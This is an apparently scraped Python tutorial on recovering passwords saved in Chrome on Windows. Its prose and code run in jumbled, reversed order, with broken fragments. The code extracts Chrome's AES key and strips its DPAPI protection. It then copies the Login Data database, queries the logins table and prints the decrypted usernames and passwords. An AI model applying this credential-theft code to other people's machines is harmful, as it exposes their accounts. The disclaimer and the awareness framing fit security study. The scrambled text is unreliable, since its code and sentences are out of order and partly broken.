![]() Deleting PasswordsĪs you just saw, saved passwords on Chrome are quite dangerous to leave them there. We do not take any responsibility for any misuse. Great, now you’re aware that a lot of sensitive information is in your machine and is easily readable using scripts like this one.ĭisclaimer: Please run this script on your machine or on a machine you have permission to access. ly / register Action URL : https : // cutt. com / SignUp Action URL : ttps : // accounts. įinally, we print the credentials and remove the database copy from the current directory.We also decrypt each password and reformat the date_created and date_last_used date times to a more human-readable format. Īfter that, we make a select query to the logins table and iterate over all login rows.close () try : # try to remove the copied db fileįirst, we get the encryption key using the previously defined get_encryption_key() function, then we copy the SQLite database (located at "%USERPROFILE%\AppData\Local\Google\Chrome\User Data\default\Login Data" that has the saved passwords to the current directory and connects to it this is because the original database file will be locked when Chrome is currently running. fetchall (): origin_url = row action_url = row username = row password = decrypt_password ( row, key ) date_created = row date_last_used = row if username or password : print ( f " Origin URL: " ) print ( " = " * 50 ) cursor. execute ( " select origin_url, action_url, username_value, password_value, date_created, date_last_used from logins order by date_created " ) # iterate over all rowsįor row in cursor. cursor () # `logins` table has the data we needĬursor. copyfile ( db_path, filename ) # connect to the databaseĭb = sqlite3. # as the database will be locked if chrome is currently runningįilename = " ChromeData.db " shutil. environ, " AppData ", " Local ", " Google ", " Chrome ", " User Data ", " default ", " Login Data " ) # copy the file to another location Key = get_encryption_key () # local sqlite Chrome database pathĭb_path = os. ĭecrypt_password() takes the encrypted password and the AES key as arguments and returns a decrypted version of the password.Get_encryption_key() function extracts and decodes the AES key that was used to encrypt the passwords that are stored in the "%USERPROFILE%\AppData\Local\Google\Chrome\User Data\Local State" path as a JSON file. Get_chrome_datetime() function is responsible for converting chrome date format into a human-readable date-time format. CryptUnprotectData ( password, None, None, None, 0 )) except : # not supported decode () except : try : return str ( win32crypt. Iv = password password = password # generate cipherĬipher = AES. CryptUnprotectData ( key, None, None, None, 0 ) def decrypt_password ( password, key ): try : # get the initialization vector # using a session key derived from current user's logon credentials ![]() Key = key # return decrypted key that was originally encrypted b64decode ( local_state ) # remove DPAPI str loads ( local_state ) # decode the encryption key from Base64 ![]() environ, " AppData ", " Local ", " Google ", " Chrome ", " User Data ", " Local State " ) with open ( local_state_path, " r ", encoding = " utf-8 " ) as f : local_state = f. Since `chromedate` is formatted as the number of microseconds since January, 1601 """ return datetime ( 1601, 1, 1 ) + timedelta ( microseconds = chromedate ) def get_encryption_key (): local_state_path = os. Def get_chrome_datetime ( chromedate ): """ Return a `datetime.datetime` object from a chrome format datetime
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